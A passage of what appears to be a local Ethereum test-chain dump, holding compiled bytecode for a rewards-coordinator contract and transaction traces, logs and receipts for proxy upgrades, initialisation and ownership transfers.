bcd60e51b815260206004820152604a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20696e76616c69642073747261746567792060648201526918dbdb9cda59195c995960b21b608482015260a40161089e565b806001600160a01b0316836001600160a01b0316106124495760405162461bcd60e51b8152602060048201526069602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a2073747261746567696573206d757374206260648201527f6520696e20617363656e64696e67206f7264657220746f2068616e646c65206460848201526875706c69636174657360b81b60a482015260c40161089e565b915060010161222e565b505050565b6040516001600160a01b03808516602483015283166044820152606481018290526124c39085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612aa5565b50505050565b806040015163ffffffff164210156125425760405162461bcd60e51b815260206004820152603660248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a206044820152751c9bdbdd081b9bdd081858dd1a5d985d1959081e595d60521b606482015260840161089e565b61254f60c0830183613730565b905061255e60a0840184613730565b9050146125e85760405162461bcd60e51b815260206004820152604c60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e496e646963657320616e6420746f6b656e50726f6f6673206c656e60648201526b0cee8d040dad2e6dac2e8c6d60a31b608482015260a40161089e565b6125f560e0830183613781565b905061260460c0840184613730565b90501461268c5760405162461bcd60e51b815260206004820152604a60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e5472656550726f6f667320616e64206c6561766573206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a40161089e565b80516126b8906126a260408501602086016132e5565b6126af6040860186613874565b86606001612b77565b60005b6126c860a0840184613730565b90508110156124535761276260808401356126e660a0860186613730565b848181106126f6576126f6613569565b905060200201602081019061270b91906132e5565b61271860c0870187613730565b8581811061272857612728613569565b905060200281019061273a9190613874565b61274760e0890189613781565b8781811061275757612757613569565b905060400201612ceb565b6001016126bb565b6040516001600160a01b03831660248201526044810182905261245390849063a9059cbb60e01b9060640161248c565b60cb546040805163ffffffff600160a01b9093048316815291831660208301527faf557c6c02c208794817a705609cfa935f827312a1adfdd26494b6b95dd2b4b3910160405180910390a160cb805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60cb546040516001600160a01b038084169216907f237b82f438d75fc568ebab484b75b01d9287b9e98b490b7c23221623b6705dbb90600090a360cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6065546001600160a01b031615801561297157506001600160a01b03821615155b6129f35760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2612a3682611b91565b5050565b60cb546040805161ffff600160e01b9093048316815291831660208301527f8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06910160405180910390a160cb805461ffff909216600160e01b0261ffff60e01b19909216919091179055565b6000612afa826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612e3c9092919063ffffffff16565b8051909150156124535780806020019051810190612b189190613496565b6124535760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161089e565b612b826020836138bb565b6001901b8463ffffffff1610612c0c5760405162461bcd60e51b815260206004820152604360248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e65724c656166496e6064820152620c8caf60eb1b608482015260a40161089e565b6000612c17826109f2565b9050612c6284848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152604660248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e657220636c61696d60648201526510383937b7b360d11b608482015260a40161089e565b505050505050565b612cf66020836138bb565b6001901b8463ffffffff1610612d745760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e4c656166496e64657800000000606482015260840161089e565b6000612d7f82611858565b9050612dca84848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152603f60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e20636c61696d2070726f6f6600606482015260840161089e565b6060612e4b8484600085612e6b565b949350505050565b600083612e61868585612f9c565b1495945050505050565b606082471015612ecc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b606482015260840161089e565b6001600160a01b0385163b612f235760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161089e565b600080866001600160a01b03168587604051612f3f91906138f3565b60006040518083038185875af1925050503d8060008114612f7c576040519150601f19603f3d011682016040523d82523d6000602084013e612f81565b606091505b5091509150612f918282866130a2565b979650505050505050565b600060208451612fac9190613905565b156130335760405162461bcd60e51b815260206004820152604b60248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f664b65636360448201527f616b3a2070726f6f66206c656e6774682073686f756c642062652061206d756c60648201526a3a34b836329037b310199960a91b608482015260a40161089e565b8260205b855181116130995761304a600285613905565b60000361306e57816000528086015160205260406000209150600284049350613087565b8086015160005281602052604060002091506002840493505b61309260208261370a565b9050613037565b50949350505050565b606083156130b157508161171d565b8251156130c15782518084602001fd5b8160405162461bcd60e51b815260040161089e9190613919565b6001600160a01b03811681146108b057600080fd5b60006020828403121561310257600080fd5b813561171d816130db565b80151581146108b057600080fd5b6000806040838503121561312e57600080fd5b8235613139816130db565b915060208301356131498161310d565b809150509250929050565b60006020828403121561316657600080fd5b5035919050565b60006040828403121561317f57600080fd5b50919050565b60006040828403121561319757600080fd5b61171d838361316d565b600080604083850312156131b457600080fd5b82356131bf816130db565b91506020830135613149816130db565b600080602083850312156131e257600080fd5b823567ffffffffffffffff8111156131f957600080fd5b8301601f8101851361320a57600080fd5b803567ffffffffffffffff81111561322157600080fd5b8560208260051b840101111561323657600080fd5b6020919091019590945092505050565b6000610100828403121561317f57600080fd5b6000806040838503121561326c57600080fd5b823567ffffffffffffffff81111561328357600080fd5b61328f85828601613246565b9250506020830135613149816130db565b803563ffffffff811681146132b457600080fd5b919050565b600080604083850312156132cc57600080fd5b823591506132dc602084016132a0565b90509250929050565b6000602082840312156132f757600080fd5b61171d826132a0565b60006020828403121561331257600080fd5b813560ff8116811461171d57600080fd5b60006020828403121561333557600080fd5b813567ffffffffffffffff81111561334c57600080fd5b612e4b84828501613246565b6000806040838503121561336b57600080fd5b8235613376816130db565b946020939093013593505050565b80356132b4816130db565b803561ffff811681146132b457600080fd5b60008060008060008060c087890312156133ba57600080fd5b86356133c5816130db565b955060208701356133d5816130db565b94506040870135935060608701356133ec816130db565b92506133fa608088016132a0565b915061340860a0880161338f565b90509295509295509295565b60006020828403121561342657600080fd5b61171d8261338f565b60006020828403121561344157600080fd5b815161171d816130db565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b6000602082840312156134a857600080fd5b815161171d8161310d565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60008235609e1983360301811261359557600080fd5b9190910192915050565b81835260208301925060008160005b848110156136055781356135c1816130db565b6001600160a01b0316865260208201356bffffffffffffffffffffffff81168082146135ec57600080fd5b60208801525060409586019591909101906001016135ae565b5093949350505050565b60008135601e1983360301811261362557600080fd5b820160208101903567ffffffffffffffff81111561364257600080fd5b8060061b360382131561365457600080fd5b60a0855261366660a08601828461359f565b91505061367560208401613384565b6001600160a01b0316602085015260408381013590850152613699606084016132a0565b63ffffffff1660608501526136b0608084016132a0565b63ffffffff81166080860152509392505050565b60018060a01b03841681528260208201526060604082015260006136eb606083018461360f565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610a7757610a776136f4565b60208152600061171d602083018461360f565b6000808335601e1984360301811261374757600080fd5b83018035915067ffffffffffffffff82111561376257600080fd5b6020019150600581901b360382131561377a57600080fd5b9250929050565b6000808335601e1984360301811261379857600080fd5b83018035915067ffffffffffffffff8211156137b357600080fd5b6020019150600681901b360382131561377a57600080fd5b81810381811115610a7757610a776136f4565b63ffffffff8181168382160190811115610a7757610a776136f4565b63ffffffff8281168282160390811115610a7757610a776136f4565b600063ffffffff82168061382c5761382c6136f4565b6000190192915050565b634e487b7160e01b600052601260045260246000fd5b600063ffffffff83168061386257613862613836565b8063ffffffff84160691505092915050565b6000808335601e1984360301811261388b57600080fd5b83018035915067ffffffffffffffff8211156138a657600080fd5b60200191503681900382131561377a57600080fd5b6000826138ca576138ca613836565b500490565b60005b838110156138ea5781810151838201526020016138d2565b50506000910152565b600082516135958184602087016138cf565b60008261391457613914613836565b500690565b60208152600082518060208401526139388160408501602087016138cf565b601f01601f1916919091016040019291505056fe52657761726473436f6f7264696e61746f722e5f76616c696461746552657761a2646970667358221220a36edf2d3dce7bfba092e6a7f8c98bee38b143e8f924a4f463353379f1a9adae64736f6c634300081b0033","nonce":15,"gas_used":3277944},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x320478","logs":[{"address":"0x0b306bf915c4d645ff596e518faf3f9669b97016","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x00000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000"},"block_hash":"0x700953b012a0102f730dca1d6e78b94cb91ba2325a68b64866311a4607619edb","block_number":12},{"info":{"transaction_hash":"0xfd1e4dad05cf6f8f4a273aa51058132b350ba86adfa0c539039637f7f774f39f","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x9623609d000000000000000000000000851356ae760d987e095750cceb3bc6014560891c0000000000000000000000004c5859f0f772848b2d91f1d83e2fe57935348029000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a4f7013ef6000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb9226600000000000000000000000015d34aaf54267db7d7c367839aaf71a00a2c6a65000000000000000000000000a82ff9afd8f496c3d6ac40e2a0f282e47488cfc9000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":143440,"gas_limit":207221,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","address":"0x851356ae760d987e095750cceb3bc6014560891c","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x4f1ef2860000000000000000000000004c5859f0f772848b2d91f1d83e2fe57935348029000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000a4f7013ef6000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb9226600000000000000000000000015d34aaf54267db7d7c367839aaf71a00a2c6a65000000000000000000000000a82ff9afd8f496c3d6ac40e2a0f282e47488cfc9000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":136968,"gas_limit":197660,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000004c5859f0f772848b2d91f1d83e2fe57935348029"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":1,"children":[],"idx":2,"trace":{"depth":2,"success":true,"caller":"0x851356ae760d987e095750cceb3bc6014560891c","address":"0x4c5859f0f772848b2d91f1d83e2fe57935348029","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xf7013ef6000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb9226600000000000000000000000015d34aaf54267db7d7c367839aaf71a00a2c6a65000000000000000000000000a82ff9afd8f496c3d6ac40e2a0f282e47488cfc90000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":123913,"gas_limit":181938,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0xe11cddf1816a43318ca175bbc52cd0185436e9cbead7c83acc54a73e461717e3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a82ff9afd8f496c3d6ac40e2a0f282e47488cfc9"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1},{"Log":2},{"Log":3},{"Log":4},{"Log":5}]}],"exit":"Stop","out":"0x","nonce":50,"gas_used":167296},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x28d80","logs":[{"address":"0x851356ae760d987e095750cceb3bc6014560891c","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000004c5859f0f772848b2d91f1d83e2fe57935348029"],"data":"0x"},{"address":"0x851356ae760d987e095750cceb3bc6014560891c","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},{"address":"0x851356ae760d987e095750cceb3bc6014560891c","topics":["0xe11cddf1816a43318ca175bbc52cd0185436e9cbead7c83acc54a73e461717e3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"},{"address":"0x851356ae760d987e095750cceb3bc6014560891c","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},{"address":"0x851356ae760d987e095750cceb3bc6014560891c","topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},{"address":"0x851356ae760d987e095750cceb3bc6014560891c","topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a82ff9afd8f496c3d6ac40e2a0f282e47488cfc9"},{"address":"0x851356ae760d987e095750cceb3bc6014560891c","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"}],"logsBloom":"0x00000000000000000000000040000000400400000000000000800000000000000000000800000000000000000000000000000100000000100000000000000000000000000000000000000400000002000001000000000018000000000000000000000000020000000000000100000820000000000000000000000000000000400000000100000000000000000000000000000000000080000000100000000000000000000000000000000000000400000004000000000000000000000000000000000020400000280000000000040000100000002000000000000000000020000000000000000000000000000000000000000000000000000000000000400000"},"block_hash":"0x95772881867a932925d89eca1f14fb07fd9e4046a18d14d2adf97c6bc5c6d6d2","block_number":13},{"info":{"transaction_hash":"0x313a5f29df26d29135513cf0d64515eca7e96216e2700bd66810a2cbb5d0bdc2","transaction_index":1,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x99a88ec4000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e0000000000000000000000000e801d84fa97b50751dbf25036d067dcf18858bf","output":"0x","gas_used":17021,"gas_limit":31821,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","address":"0x998abeb3e57409262ae5b751f60747921b33613e","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x3659cfe60000000000000000000000000e801d84fa97b50751dbf25036d067dcf18858bf","output":"0x","gas_used":11547,"gas_limit":25979,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000000e801d84fa97b50751dbf25036d067dcf18858bf"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Stop","out":"0x","nonce":44,"gas_used":38821},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x3050ac","logs":[{"address":"0x998abeb3e57409262ae5b751f60747921b33613e","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000000e801d84fa97b50751dbf25036d067dcf18858bf"],"data":"0x"}],"logsBloom":"0x00002000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000008000002000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x2106ea21b1dc2d13810e72b9de3820024363ba540315c3747a8ebd7251733aca","block_number":8},{"info":{"transaction_hash":"0x97df6ec97322402615aae7fb1edc6fe2d98c25e08dd4f26eec9f1fde3a9947eb","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","contract_address":null,"traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0xf2fde38b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","output":"0x","gas_used":4371,"gas_limit":16304,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Stop","out":"0x","nonce":54,"gas_used":25803},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x64cb","logs":[{"address":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000001000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000400000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000008000000000"},"block_hash":"0x6321fa4ef0171ff7f598e2751288c3e08bdba1b4cbf1e0760e9cacd8a5b5f08c","block_number":16},{"info":{"transaction_hash":"0xf7c9e4de1144f679b9556ee611e54a7ff0a445dbbd1f30c62f0930d683101d3e","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x9623609d000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3600000000000000000000000036c02da8a0983159322a80ffe9f24b1acff8b57000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000264dd8283f3000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000a82ff9afd8f496c3d6ac40e2a0f282e47488cfc900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001c0000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000c80000000000000000000000000000000000000000000000000000000000002af8000000000000000000000000000000000000000000000000000000000000003200000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":546587,"gas_limit":682481,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","address":"0xf5059a5d33d5853360d16c683c16e67980206f36","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x4f1ef28600000000000000000000000036c02da8a0983159322a80ffe9f24b1acff8b57000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000264dd8283f3000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000a82ff9afd8f496c3d6ac40e2a0f282e47488cfc900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001c0000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000c80000000000000000000000000000000000000000000000000000000000002af8000000000000000000000000000000000000000000000000000000000000003200000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":538879,"gas_limit":664277,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x00000000000000000000000036c02da8a0983159322a80ffe9f24b1acff8b570"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":1,"children":[3,5,7],"idx":2,"trace":{"depth":2,"success":true,"caller":"0xf5059a5d33d5853360d16c683c16e67980206f36","address":"0x36c02da8a0983159322a80ffe9f24b1acff8b570","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xdd8283f3000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000a82ff9afd8f496c3d6ac40e2a0f282e47488cfc900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001c0000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000c80000000000000000000000000000000000000000000000000000000000002af8000000000000000000000000000000000000000000000000000000000000003200000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000000000000000000000000000000de0b6b3a7640000","output":"0x","gas_used":524756,"gas_limit":640212,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"],"data":"0x0000000000000000000000000000